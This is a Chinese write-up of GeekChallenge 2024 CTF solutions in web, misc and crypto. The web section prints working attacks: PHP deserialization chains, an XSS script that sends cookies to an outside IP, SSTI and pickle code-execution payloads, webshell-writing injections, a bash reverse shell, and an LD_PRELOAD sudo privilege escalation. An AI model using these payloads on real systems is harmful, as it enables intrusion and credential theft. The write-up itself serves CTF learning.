ezpop

题目:

<?php
Class SYC{
public $starven;
public function __call($name, $arguments){
if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)){
die('no hack');
}
file_put_contents($this->starven,"<?php exit();".$this->starven);
}
}

Class lover{
public $J1rry;
public $meimeng;
public function __destruct(){
if(isset($this->J1rry)&&file_get_contents($this->J1rry)=='Welcome GeekChallenge 2024'){
echo "success";
$this->meimeng->source;
}
}

public function __invoke()
{
echo $this->meimeng;
}

}

Class Geek{
public $GSBP;
public function __get($name){
$Challenge = $this->GSBP;
return $Challenge();
}

public function __toString(){
$this->GSBP->Getflag();
return "Just do it";
}

}

if($_GET['data']){
if(preg_match("/meimeng/i",$_GET['data'])){
die("no hack");
}
unserialize($_GET['data']);
}else{
highlight_file(__FILE__);
}

分析代码,发现:

  • 漏洞利用点在SYC类的file_put_contents
  • 反序列化起始点在lover
  • pop链逻辑为 lover(destruct) -> Geek(get) -> lover(invoke) -> Geek(tostring) -> SYC(call)

poc如下:

<?php
Class SYC{
public $starven = "php://filter/write=string.strip_tags|?>php_value auto_prepend_file '/flag'\n#/resource=.htaccess";
}

Class lover{
public $J1rry='data://text/plain;base64,V2VsY29tZSBHZWVrQ2hhbGxlbmdlIDIwMjQ=';
public $meimeng;
}

Class Geek{
public $GSBP;

}

$a = new lover();
$a->meimeng = new Geek();
$a->meimeng->GSBP = new lover();
$a->meimeng->GSBP->meimeng = new Geek();
$a->meimeng->GSBP->meimeng->GSBP = new SYC();

echo serialize($a);
echo '<br>';
echo str_replace('abc','123','abcabc');
echo '<br>';
echo str_replace('s%3A7%3A%22meimeng','S%3A7%3A%22%5C6deimeng',urlencode(serialize($a)));

需要注意的绕过点:

  • 十六进制绕过$meimeng的正则匹配
  • 伪协议绕过$J1rryfile_get_content
  • 绕过死亡exit的大部分filter被ban,只能使用strip_tags写.htaccess进行文件包含

Problem_On_My_Web

XSS题目
alt text
发现不仅是starven学长能发表白语句,我们也能发
于是考虑ssti模版注入
但尝试了多种模版注入,发现没有,但是有XSS
点击下方第二个超链接,提示:

If you could tell me where my website has a problem,i would give you a gift in my cookies!!! [Post url=]

使用POST传参,随意一个url,提示:

Your host must be 127.0.0.1 and can be visit

传参url=http://127.0.0.1
提示:

I have checked your url

猜测可能会浏览和我们同样的表白墙,加之上方提示cookie中有gift,确认是XSS
构造劫持cookie的js:

<script>
function on_on_load(){
fetch('http://120.76.159.54:3389', {
method: 'POST',
headers: {
'Content-Type': 'text/plain'
},
body: document.cookie
})
.then(response => response.text())
.then(data => console.log(data))
.catch(error => console.error('Error:', error));
}
window.onload = on_on_load;
</script>

提交后获得cookie,成功找到flag

100%的⚪

flag写js里了,属于签到题
alt text
base64解码得到flag

rce_me

php绕过,题目:

<?php
header("Content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);

# Can you RCE me?


if (!is_array($_POST["start"])) {
if (!preg_match("/start.*now/is", $_POST["start"])) {
if (strpos($_POST["start"], "start now") === false) {
die("Well, you haven't started.<br>");
}
}
}

echo "Welcome to GeekChallenge2024!<br>";

if (
sha1((string) $_POST["__2024.geekchallenge.ctf"]) == md5("Geekchallenge2024_bmKtL") &&
(string) $_POST["__2024.geekchallenge.ctf"] != "Geekchallenge2024_bmKtL" &&
is_numeric(intval($_POST["__2024.geekchallenge.ctf"]))
) {
echo "You took the first step!<br>";

foreach ($_GET as $key => $value) {
$$key = $value;
}

if (intval($year) < 2024 && intval($year + 1) > 2025) {
echo "Well, I know the year is 2024<br>";

if (preg_match("/.+?rce/ism", $purpose)) {
die("nonono");
}

if (stripos($purpose, "rce") === false) {
die("nonononono");
}
echo "Get the flag now!<br>";
eval($GLOBALS['code']);




} else {
echo "It is not enough to stop you!<br>";
}
} else {
echo "It is so easy, do you know sha1 and md5?<br>";
}
?>

第一个start参数传递一个数组绕过
看一下md5("Geekchallenge2024_bmKtL")的值,为0e开头,且判断为弱判断
传参:_[2024.geekchallenge.ctf=aaroZmOk绕过
最后一个year是强制类型转换,传参1e9成功绕过

baby_upload

文件上传
alt text
提示是黑名单绕过,那就一个一个尝试
发现.jpg.php双写成功绕过,使用蚁剑上马

ezhttp

题目总览如下:
Please pass these levels,Starven will give you flag!
Level1: please use get parameter welcome
Level2 please user two post params username & password
Level3 you must from https://www.sycsec.com
Level4 you must from local ip
Level5 you must let Starven give you flag
\n<?php\r
if ($_SERVER["HTTP_STARVEN"] == "I_Want_Flag") {\r
    echo 
"........";\r
}\r
\n
\n
haha! Thers is last level,please view your cookie and get flag!
where is key?
give your cookie : token = eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJTdGFydmVuIiwiYXVkIjoiQ3RmZXIiLCJpYXQiOjE3Mjk4NjQzNDQsIm5iZiI6MTcyOTg2NDM0NCwiZXhwIjoxNzI5ODcxNTQ0LCJ1c2VybmFtZSI6IlN0YXJ2ZW4iLCJwYXNzd29yZCI6InF3ZXJ0MTIzNDU2IiwiaGFzRmxhZyI6ZmFsc2V9.HD4hxKoLUf7lhML184qng96EZiTlMTTtgAD8mvyDLCk

最后python代码如下:

import requests

url = 'http://80-c245227a-02f4-44c0-82e8-7da81ef7f405.challenge.ctfplus.cn/?welcome=geekchallenge2024'

headers = {
'Referer': 'https://www.sycsec.com',
'X-Real-Ip': '127.0.0.1',
'STARVEN':'I_Want_Flag',

}

data = {
'username':'Starven',
'password':'qwert123456',
}

cookie = {
'token':'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJTdGFydmVuIiwiYXVkIjoiQ3RmZXIiLCJpYXQiOjE3Mjk4NjIyNTcsIm5iZiI6MTcyOTg2MjI1NywiZXhwIjoxNzI5ODY5NDU3LCJ1c2VybmFtZSI6IlN0YXJ2ZW4iLCJwYXNzd29yZCI6InF3ZXJ0MTIzNDU2IiwiaGFzRmxhZyI6dHJ1ZX0.1vbIIz51Roat6PffQNLLraYywbeWqemHz3_uhvkGWvA'
}


response = requests.post(url=url,headers=headers,data=data,cookies=cookie)

本题需要注意的点:

  • 伪造ip除了可以用x-forwarded-for还可以用X-Real-Ip
  • jwt解密token后为python { "iss": "Starven", "aud": "Ctfer", "iat": 1729862257, "nbf": 1729862257, "exp": 1729869457, "username": "Starven", "password": "qwert123456", "hasFlag": false }
    将hasFlag改成true后使用Starven_secret_key加密回去即可获得flag

Can_you_Pass_Me

发现有ssti
首先查找过滤字符,
发现:
过滤:[]、+、request、关键字、:、set、get
不过滤:""、__、.、attr、reverse
既然attr可以用我们就使用reverse进行组合:

{%print(()|attr('__ssalc__'|reverse)|attr('__esab__'|reverse)|attr('__sessalcbus__'|reverse)()|attr('__metiteg__'|reverse))%}

成功找到subclasses,虽然python环境未知,但大多在130附近,我们先取132,再根据得到的对象一个一个数找附近wrap_close
最后找到是140
构造可执行系统命令的语句:

{%print(()|attr('__ssalc__'|reverse)|attr('__esab__'|reverse)|attr('__sessalcbus__'|reverse)()|attr('__metiteg__'|reverse)(140)|attr('__tini__'|reverse)|attr('__slabolg__'|reverse)|attr('__metiteg__'|reverse)('nepop'|reverse)("ls")|attr('daer'|reverse)())%}

发现flag、\、等字符被ban,用十六进制替换

{%print(()|attr('__ssalc__'|reverse)|attr('__esab__'|reverse)|attr('__sessalcbus__'|reverse)()|attr('__metiteg__'|reverse)(140)|attr('__tini__'|reverse)|attr('__slabolg__'|reverse)|attr('__metiteg__'|reverse)('nepop'|reverse)("cat \x2f\x66\x6c\x61\x67")|attr('daer'|reverse)())%}

最后发现还过滤了flag的回显,直接用env就行,再进行一次reverse:

{%print(()|attr('__ssalc__'|reverse)|attr('__esab__'|reverse)|attr('__sessalcbus__'|reverse)()|attr('__metiteg__'|reverse)(140)|attr('__tini__'|reverse)|attr('__slabolg__'|reverse)|attr('__metiteg__'|reverse)('nepop'|reverse)("env")|attr('daer'|reverse)()|reverse)%}

再使用python倒转flag:

print('}e3444c55cb6a-a919-3c94-583e-9ea58050{CYS'[::-1])

成功解出

SecretInDrivingSchool

查看网站源码发现登录界面:L000G1n.php

提示用户名4~16位,猜测为admin
提示密码3位+@chengxing,爆破得SYC@chengxing
成功进入后台

发现广告界面可以修改广告的php
过滤了很多危险函数,但使用的并不是disable_functions
直接拼接即可绕过:

$a = "sys"."tem";
$a("env");

获得flag:SYC{289537ce-182e-4096-93fe-aeb80e53b094}

ez_include

题目:

<?php
highlight_file(__FILE__);
require_once 'starven_secret.php';
if(isset($_GET['file'])) {
if(preg_match('/starven_secret.php/i', $_GET['file'])) {
require_once $_GET['file'];
}else{
echo "还想非预期?";
}
}

是一个绕过require_once包含限制的题
详见https://www.anquanke.com/post/id/213235
payload:

php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php

成功进入第二步/levelllll2.php:

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET ["syc"])){
$file = $_GET ["syc"];
$hint = "register_argc_argv = On";
if (preg_match("/config|create|filter|download|phar|log|sess|-c|-d|%|data/i", $file)) {
die("hint都给的这么明显了还不会做?");
}
if(substr($_SERVER['REQUEST_URI'], -4) === '.php'){
include $file;
}
}

观察到register_argc_argv = On,可能是pear文件包含漏洞
构造payload:

/levelllll2.php?syc=/usr/local/lib/php/pearcmd.php&+download+http://vps地址:vps端口/1.php

成功getshell

ez_ssrf

题目是ssrf,但是题目首页什么都没有
使用dirsearch扫描目录发现www.zip泄露
发现网页源码:

  • h4d333333.php
    <?php
    error_reporting(0);
    if(!isset($_POST['user'])){
    $user="stranger";
    }else{
    $user=$_POST['user'];
    }

    if (isset($_GET['location'])) {
    $location=$_GET['location'];
    $client=new SoapClient(null,array(
    "location"=>$location,
    "uri"=>"hahaha",
    "login"=>"guest",
    "password"=>"gueeeeest!!!!",
    "user_agent"=>$user."'s Chrome"));

    $client->calculator();

    echo file_get_contents("result.txt");
    }else{
    echo "Please give me a location";
    }
  • calculator.php
    <?php
    $admin="aaaaaaaaaaaadmin";
    $adminpass="i_want_to_getI00_inMyT3st";

    function check($auth) {
    global $admin,$adminpass;
    $auth = str_replace('Basic ', '', $auth);
    $auth = base64_decode($auth);
    list($username, $password) = explode(':', $auth);
    echo $username."<br>".$password;
    if($username===$admin && $password===$adminpass) {
    return 1;
    }else{
    return 2;
    }
    }
    if($_SERVER['REMOTE_ADDR']!=="127.0.0.1"){
    exit("Hacker");
    }
    $expression = $_POST['expression'];
    $auth=$_SERVER['HTTP_AUTHORIZATION'];
    if(isset($auth)){
    if (check($auth)===2) {
    if(!preg_match('/^[0-9+\-*\/]+$/', $expression)) {
    die("Invalid expression");
    }else{
    $result=eval("return $expression;");
    file_put_contents("result",$result);
    }
    }else{
    $result=eval("return $expression;");
    file_put_contents("result",$result);
    }
    }else{
    exit("Hacker");
    }
    发现可以进行请求头注入
    需要:
  • AUTHORIZATION,typebasic,值为base64加密的$admin:$adminpass
  • POST参数expression,值为注入的php代码

最终payload为:

/h4d333333.php?location=http://127.0.0.1/calculator.php
user=aaa%0D%0AAuthorization%3ABasic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A80%0D%0A%0D%0Aexpression%3Dfile_put_contents%28%27shell.php%27%2C%27%3C%3Fphp+%40eval%28%24_POST%5B1%5D%29%3B%3F%3E%27%29%3B%26aaa%3Daaaa

PHP不比Java差

题目:

<?php
highlight_file(__FILE__);
error_reporting(0);
include "secret.php";

class Challenge{
public $file;
public function Sink()
{
echo "<br>!!!A GREAT STEP!!!<br>";
echo "Is there any file?<br>";
if(file_exists($this->file)){
global $FLAG;
echo $FLAG;
}
}
}

class Geek{
public $a;
public $b;
public function __unserialize(array $data): void
{
$change=$_GET["change"];
$FUNC=$change($data);
$FUNC();
}
}

class Syclover{
public $Where;
public $IS;
public $Starven;
public $Girlfriend;
public function __toString()
{
echo "__toString is called<br>";
$eee=new $this->Where($this->IS);
$fff=$this->Starven;
$eee->$fff($this->Girlfriend);

}
}

unserialize($_POST['data']);

简单分析后我们发现:

  • 反序列化的起始点在GEEK类
  • 使用的是php8的新魔术方法
  • $data数组中的元素是GEEK类的属性
  • change参数是我们自己传的,可以使用任意魔术方法
  • $FUNC触发时无法传参,联想到可变函数发数组调用

于是构造POC:

$a = new Geek();

$s = new Challenge();
$s->file = 'secret.php';
$a->a = array($s,"Sink");

echo urlencode(serialize($a));

同时传参?change=reset$data数组的首个元素赋值给$FUNC
直接调用Challenge类Sink获得假flag:

The True Flag is in /flag

那么我们只能再利用Syclover类试图读取/flag
有趣的是__toString魔术方法也可以使用可变函数的数组调用直接触发
参数where是一个类,这里联想到php原生类的利用

于是构造POC:

$a = new Geek();

$s = new Syclover();
$s->Where = 'SplFileObject';
$s->IS = '/flag';
$s->Starven = 'fpassthru';
$s->Girlfriend = null;

$a->a = array($s,"__toString");

echo (serialize($a));

可以看到Starven学长没有Girlfriend
反序列化之后/flag并没有被读取,明明本地测试成功的,怎么回事呢?
猜测要提权,要提权先得getshell
利用另一个原生类实现
由于直接使用shell非常难受,直接在当前网页写个马:

$a = new Geek();

$s = new Syclover();
$s->Where = 'ReflectionFunction';
$s->IS = 'system';
$s->Starven = 'invoke';
$s->Girlfriend = 'echo "echo 123;eval(\$_POST[\'cmd\']);">>index.php';

$a->a = array($s,"__toString");

echo (serialize($a));

使用命令:find / -perm -u=s -type f 2>/dev/null
列出所有可使用的有root权限的命令:

/bin/su
/bin/umount
/bin/mount
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/file

看这个file有能读文件的意思。。
一番搜索后使用:file -f /flag
成功通过报错的方式读取/flag文件里的内容,成功获得flag

not_just_pop

上来是一个pop链:

<?php
highlight_file(__FILE__);
ini_get('open_basedir');

class lhRaMK7{
public $Do;
public $You;
public $love;
public $web;
public function __invoke()
{
echo "我勒个豆,看来你有点实力,那接下来该怎么拿到flag呢?"."<br>";
eval($this->web);
}
public function __wakeup()
{
$this->web=$this->love;
}
public function __destruct()
{
die($this->You->execurise=$this->Do);
}

}

class Parar{
private $execurise;
public $lead;
public $hansome;
public function __set($name,$value)
{
echo $this->lead;
}
public function __get($args)
{
if(is_readable("/flag")){
echo file_get_contents("/flag");
}
else{
echo "还想直接读flag,洗洗睡吧,rce去"."<br>";
if ($this->execurise=="man!") {
echo "居然没坠机"."<br>";
if(isset($this->hansome->lover)){
phpinfo();
}
}
else{
echo($this->execurise);
echo "你也想被肘吗"."<br>";
}
}
}
}

class Starven{
public $girl;
public $friend;
public function __toString()
{
return "试试所想的呗,说不定成功了"."<br>".$this->girl->abc;
}
public function __call($args1,$args2)
{
$func=$this->friend;
$func();
}

}
class SYC{
private $lover;
public $forever;
public function __isset($args){
return $this->forever->nononon();
}

}


$Syclover=$_GET['Syclover'];
if (isset($Syclover)) {
unserialize(base64_decode($Syclover));
throw new Exception("None");
}else{
echo("怎么不给我呢,是不喜欢吗?");
}

分析发现:

  • 序列化字符串使用base64加密
  • 漏洞点在lhRaMK7__invoke()
  • is_readable("/flag")目测不可读,所以后续需要提权

倒推可得POC:

<?php
$a = new lhRaMK7();
$a ->You = new Parar();
$a ->You->lead = new Starven();
$a ->You->lead->girl = new Parar();
$a ->You->lead->girl->hansome = new SYC();
$a ->You->lead->girl->hansome->forever = new Starven();
$a ->You->lead->girl->hansome->forever->friend=new lhRaMK7();
$a ->You->lead->girl->hansome->forever->friend->love = "file_put_contents('a.php','<?php highlight_file(__FILE__);@eval(\$_POST[1]);?>');";
echo base64_encode(serialize($a));

使用phpinfo()发现php版本为7.2
直接使用system()函数发现居然有disable_function
于是一个一个试发现file_put_contents()可用,且当前目录可写
所以直接写马,上马后使用php版本漏洞绕过disable_function,直接执行命令
详见文章
执行bash -c "bash -i >& /dev/tcp/ip/port 0>&1"回弹shell
接收后使用perl -e 'exec "/bin/sh";'升交互式
一番检查:

sudo可以使用
看一眼env,发现:

HINT=why_not_trytry_sudo

使用sudo -l搜索可用指令

User www-data may run the following commands on
dep-0790f3fc-174e-4e43-a484-b6d3615adf07-59c798cd59-nb5c6:
(ALL : ALL) NOPASSWD: /usr/bin/envUser www-data may run the following commands on
dep-0790f3fc-174e-4e43-a484-b6d3615adf07-59c798cd59-nb5c6:
(ALL : ALL) NOPASSWD: /usr/bin/env

env能用,我寻思env有啥用啊,但是gpt告诉我确实有用:

#include <stdio.h>
#include <stdlib.h>

void _init() {
setuid(0);
setgid(0);
system("/bin/bash");
}
gcc -fPIC -shared -o /tmp/preload.so preload.c
sudo env LD_PRELOAD=/tmp/preload.so /bin/bash

直接拿下一个root终端,简直crazy
直接cat /flag
获得:SYC{f2e3cce2-5c9c-4876-b7c4-cbb140ebbfd0}

ez_python

常规注册登录,暂时没有发现可攻击的点
但登录后提示查看:/starven_s3cret
成功获得源码:

import os
import secrets
from flask import Flask, request, render_template_string, make_response, render_template, send_file
import pickle
import base64
import black

app = Flask(__name__)

#To Ctfer:给你源码只是给你漏洞点的hint,怎么绕?black.py黑盒,唉无意义
@app.route('/')
def index():
return render_template_string(open('templates/index.html').read())

@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
usname = request.form['username']
passwd = request.form['password']

if usname and passwd:
heart_cookie = secrets.token_hex(32)
response = make_response(f"Registered successfully with username: {usname} <br> Now you can go to /login to heal starven's heart")
response.set_cookie('heart', heart_cookie)
return response

return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
heart_cookie = request.cookies.get('heart')
if not heart_cookie:
return render_template('warning.html')

if request.method == 'POST' and request.cookies.get('heart') == heart_cookie:
statement = request.form['statement']

try:
heal_state = base64.b64decode(statement)
print(heal_state)
for i in black.blacklist:
if i in heal_state:
return render_template('waf.html')
pickle.loads(heal_state)
res = make_response(f"Congratulations! You accomplished the first step of healing Starven's broken heart!")
flag = os.getenv("GEEK_FLAG") or os.system("cat /flag")
os.system("echo " + flag + " > /flag")
return res
except Exception as e:
print( e)
pass
return "Error!!!! give you hint: maybe you can view /starven_s3cret"

return render_template('login.html')

@app.route('/monologue',methods=['GET','POST'])
def joker():
return render_template('joker.html')

@app.route('/starven_s3cret', methods=['GET', 'POST'])
def secret():
return send_file(__file__,as_attachment=True)


if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)

可见是一个pickle注入题目
而登录时对starven学长说的话就是需要注入的内容,需要base64加密
那么构造如下poc:

import pickle
import base64

print(base64.b64encode(pickle.dumps("111")))
import pickle
import os
import base64
import requests

class aaa():
def __reduce__(self):
try:
print(111)
return (eval,("__import__('os').system('xxx')",))
except:
pass
a = aaa()

print(base64.b64encode(pickle.dumps(a)))

pickle.loads(base64.b64decode("gASVOQAAAAAAAACMAm50lIwGc3lzdGVtlJOUjCFlY2hvICIyMjIiPiBmaW5kIC1uYW1lIGpva2VyLmh0bWyUhZRSlC4="))

即可执行任意命令,本想弹shell,结果弹shell的各种方法被过滤,
另寻他法后发现index.html的文件位置精确的暴露了,那么我们只要将执行命令的回显写入即可:

return (eval,("__import__('os').system('env > templates/index.html')",))

再回到首页即可成功获得flag

Truth of Word

word文档的真相
点进word文档,发现有透明字符,调成红色

发现外面多了个welcome_TO文件
同时文件一直提示要修复,怀疑文件结构里塞东西了
翻找发现challenge\word\media下有flag03

最后打开宏代码,找到了flag02

snow隐写
上来一个压缩包打不开
用记事本在末尾发现一串base64:VzNMQzBNNA==
解密得:W3LC0M4,作为密码输入成功解压
看到一个white.txt文件,显然是now隐写
没有密码,但是还有一个盲水印图片
使用网上找来的工具解盲水印得到密码:Th1si4st8eK3y
执行:
snow.exe -p Th1si4st8eK3y -C White.txt
成功解密

doSomeMath

题目:

import os

white_List=["+","-","*","/","_","g","e","l","t","(",")",".",","]
flag=os.environ.get("GEEK_FLAG") if os.environ.get("GEEK_FLAG")!=None else "SYC{test}"
banner=''' _ ____ __ __ _ _
__| | ___/ ___| ___ _ __ ___ ___| \/ | __ _| |_| |__
/ _` |/ _ \___ \ / _ \| '_ ` _ \ / _ \ |\/| |/ _` | __| '_ \\
| (_| | (_) |__) | (_) | | | | | | __/ | | | (_| | |_| | | |
\__,_|\___/____/ \___/|_| |_| |_|\___|_| |_|\__,_|\__|_| |_|

'''

def waf(s):

if not s.isascii():
exit("Please input ascii")

for word in s:
if word not in white_List:
exit("hacker!!!!")

print(banner)
print("please do this math problem")

while True:
try:
result = input("99*100^60= ")
waf(result)
if 99 * 100 ^ 60 == eval(result):
print("Congradulation!!!!! Here is your reward: " + flag)
else:
print("not right")
except Exception as err:
print(str(err))

考python原生类魔术方法的使用
发现只有gelt四个英文字符可以使用,那么很容易就可以发现:

().__le__(())

可以得到1
那么两个加起来就是二,再做平方操作很容易就可以获得任何数,最终payload:

(().__le__(()) + ().__le__(()))**13 + (().__le__(()) + ().__le__(()))**10+ (().__le__(()) + ().__le__(()))**9+ (().__le__(()) + ().__le__(()))**7+ (().__le__(()) + ().__le__(()))**4

得到9872,提交即可

I_wanna_go_to_SYC

进入游戏,发现第一个刺都跳不过去
但是会生成很多存档文件:

随便将一个存档文件修改一下,保存再进入游戏
发现游戏进入了一个错误的地图,背景就是flag
手快截图即可

cimbar

libcimbar编码:


对着对照表一个一个解密,发现第一行是SYC{
那么就是flag无疑了,将整张图片都decode
得到flag

ez_jpg

使用010editor打开
发现报异常
猜测是宽高被修改
将宽高都改成640,得到正确图片,获得flag

ez_pcap_1

流量分析题
但是直接使用记事本打开
搜索SYC
直接找到flag,在明文里
属于非预期了

Welcome_jail

pyjail

Please check the blacklist and input your code
['import', 'os', 'breakpoint', 'input', 'eval', 'exec', 'help', "'", '"']
>>

模仿ssti的做法获得wrap_close:

print(().__class__.__base__.__subclasses__()[132])

接下来要获取popen,但引号被禁用,不妨用chr绕过,简单写个脚本快速获得payload:

s = input(":")

r_s = ''
for i in range(len(s)):
r_s += f"chr({ord(s[i])})+"

print(r_s)

最终在环境变量中得到flag,payload:

print(().__class__.__base__.__subclasses__()[132].__init__.__globals__[chr(112)+chr(111)+chr(112)+chr(101)+chr(110)](chr(101)+chr(110)+chr(118)).read())
SYC{b101c81b-e232-4cdd-98fa-814c03772caa}

RSA

脚本如下:

from Crypto.Util.number import long_to_bytes, inverse

# 给定参数
n = 33108009203593648507706487693709965711774665216872550007309537128959455938833
p = 192173332221883349384646293941837353967
q = 172282016556631997385463935089230918399
e = 65537
c = 5366332878961364744687912786162467698377615956518615197391990327680664213847

# 计算 φ(n)
phi_n = (p - 1) * (q - 1)

# 计算私钥 d
d = inverse(e, phi_n)

# 解密密文
m = pow(c, d, n)

# 转换为字符串
flag = long_to_bytes(m)
print(flag.decode())

共模攻击

脚本如下:

import libnum
import gmpy2

n= 19742875423645690846073637620470497648804310111201409901059297083827103813674034450200432098143959078292346910591785265323563248781526393718834491458926162514713269984791730816121181307827624489725923763353393879316510062227511469438742429290073999388690825732236465647396755899136346150862848924231619666069528077790933176798057396704758072769660663756346237040909579775389576227450505746914753205890194457812893098491264392293949768193694560954874603451253079446652049592976605414438411872223250039782381259212718733455588477129910357095186014496957765297934289263536712574572533650393220492870445376144568199077767
c1= 18676091924461946809127036439355116782539894105245796626898495935702348484076501694838877829307466429933623102626122909782775514926293363853121828819237500456062111805212209491398720528499589486241208820804465599279152640624618194425740368495072591471531868392274503936869225072123214869399971636428177516761675388589238329574042518038702529606188240859751459632643230538522947412931990009143731829484941397093509641320264169403755707495153433568106934850283614529793695266717330769019091782929139589939928210818515744604847453929432990185347112319971445630830477574679898503825626294542336195240055995445217249602983
c2= 4229417863231092939788858229435938841085459330992709019823280977891432565586698228613770964563920779991584732527715378842621171338649745186081520176123907689669636473919678398014317024138622949923292787095400632018991311254591786179660603414693984024161009444842277220189315861986306573182865656366278782315864366857374874763243428496061153290565891942968876789905670073321426112497113145141539289020571684634406829272902118484670099097148727072718299512735637087933649345419433312872607209633402427461708181971718804026293074540519907755129917132236240606834816534369171888633588190859475764799895410284484045429152
e1e2= 911*967



def rsa_gong_N_def(e1,e2,c1,c2,n): #共模攻击函数
e1, e2, c1, c2, n=int(e1),int(e2),int(c1),int(c2),int(n)
print("e1,e2:",e1,e2)
s = gmpy2.gcdext(e1, e2)
print("mpz:",s)
s1 = s[1]
s2 = s[2]
if s1 < 0:
s1 = - s1
c1 = gmpy2.invert(c1, n)
elif s2 < 0:
s2 = - s2
c2 = gmpy2.invert(c2, n)
m = (pow(c1,s1,n) * pow(c2 ,s2 ,n)) % n
return int(m)

def de(c, e, n): #因为此时的m不是真正的m,而是m^k,所以对m^k进行爆破
k = 0
while k<1000: #指定k小于1000
mk = c + n*k
flag, true1 = gmpy2.iroot(mk, e) #返回的第一个数值为开方数,第二个数值为布尔型,可整除为true,可自行测试
if True == true1:
# print(libnum.n2s(int(flag)))
return flag
k += 1
for e1 in range(2,e1e2):
if e1e2%e1==0: #爆破可整除的e
e2=e1e2//e1
c=rsa_gong_N_def(e1, e2, c1, c2, n)
e=gmpy2.gcd(e1,e2)
m1=de(c, e, n)
if m1: #指定输出m1
print(libnum.n2s(int(m1)))

X0r

脚本如下:

from Crypto.Util.number import *
from pwn import xor

# 已知的加密值和预期的 `e2`
f1 = 4585958212176920650644941909171976689111990
f2 = 3062959364761961602614252587049328627114908
e2_expected = 10706859949950921239354880312196039515724907

# 反向计算得到 `enc`
e1 = e2_expected ^ f2
enc = e1 ^ f1

# 将 `enc` 转换为字节
enc_bytes = long_to_bytes(enc)

# 假设 flag 以 b'SYC{' 开头
known_flag_start = b'SYC{'

# 计算 `key` 的前四个字节
key = xor(enc_bytes[:4], known_flag_start)
print(f"推导出的 key 前四个字节: {key}")

# 使用该推导出的 key 前四个字节来解密 `flag`
flag = xor(enc_bytes, key)
print(f"解密得到的 flag: {flag}")

ncoCRT

脚本如下:

from Crypto.Util.number import *
from sympy.ntheory.modular import solve_congruence

# 给定的 p 和 c
p = [1921232050179818686537976490035, 2050175089402111328155892746480, 1960810970476421389691930930824, 1797713136323968089432024221276, 2326915607951286191807212748022]
c = [1259284928311091851012441581576, 1501691203352712190922548476321, 1660842626322200346728249202857, 657314037433265072289232145909, 2056630082529583499248887436721]

# 使用中国剩余定理解
congruences = [(ci, pi) for ci, pi in zip(c, p)]
x, _ = solve_congruence(*congruences)

# x 是恢复的 m, 转回为 bytes 后得到 flag
flag_bytes = long_to_bytes(x)[:-23] # 去除多余的填充 \x01
print(flag_bytes)

ecc

脚本如下:

from Crypto.Util.number import *
from sage.all import *
p = 74997021559434065975272431626618720725838473091721936616560359000648651891507
a = 61739043730332859978236469007948666997510544212362386629062032094925353519657
b = 12824761259043751634610094689861000765081341921946160155432001001819005935812
k = 93653874272176107584459982058527081604083871182797816204772644509623271061231
E = EllipticCurve(GF(p),[a,b])
c1 = E([14455613666211899576018835165132438102011988264607146511938249744871964946084,25506582570581289714612640493258299813803157561796247330693768146763035791942])
c2 = E([37554871162619456709183509122673929636457622251880199235054734523782483869931, 71392055540616736539267960989304287083629288530398474590782366384873814477806])
cipher_left = 68208062402162616009217039034331142786282678107650228761709584478779998734710
cipher_right = 27453988545002384546706933590432585006240439443312571008791835203660152890619
m = c1 - k * c2
left = cipher_left//m[0]
right = cipher_right//m[1] # 不能转int或Integer型,不然结果为0,不知道为什么,很奇怪
print(long_to_bytes(int(left))+long_to_bytes(int(right)))

本题本地装环境有点麻烦,用的线上测试工具

dp

脚本如下

import gmpy2 as gp

e = 65537
n = 157667866005866043809675592336288962106125998780791920007920833145068421861029354497045918471672956655205541928071253023208751202980457919399456984628429198438149779785543371372206661553180051432786094530268099696823142821724314197245158942206348670703497441629288741715352106143317909146546420870645633338871
dp = 2509050304161548479367108202753097217949816106531036020623500808413533337006939302155166063392071003278307018323129989037561756887882853296553118973548769

c = 127916287434936224964530288403657504450134210781148845328357237956681373722556447001247137686758965891751380034827824922625307521221598031789165449134994998397717982461775225812413476283147124013667777578827293691666320739053915493782515447112364470583788127477537555786778672970196314874316507098162498135060


for i in range(1,e):
if(dp*e-1)%i == 0:
if n%(((dp*e-1)//i)+1) == 0:
p=((dp*e-1)//i)+1
q=n//(((dp*e-1)//i)+1)
phi=(q-1)*(p-1)
d=gp.invert(e,phi)
m=pow(c,d,n)

print(m)

print(bytes.fromhex(hex(m)[2:]))

凯撒加密

这个我真会,好吧
密码题里唯一一道能手搓的

def caesar_decrypt(ciphertext, shift):
decrypted = []
for char in ciphertext:
if char.isalpha():
shift_base = ord('A') if char.isupper() else ord('a')
decrypted_char = chr((ord(char) - shift_base - shift) % 26 + shift_base)
decrypted.append(decrypted_char)
else:
decrypted.append(char)
return ''.join(decrypted)

ciphertext = "YEI{CKRIUSK_ZU_2024_MKKQ_INGRRKTMK}"

for shift in range(1, 26):
decrypted_text = caesar_decrypt(ciphertext, shift)
print(decrypted_text)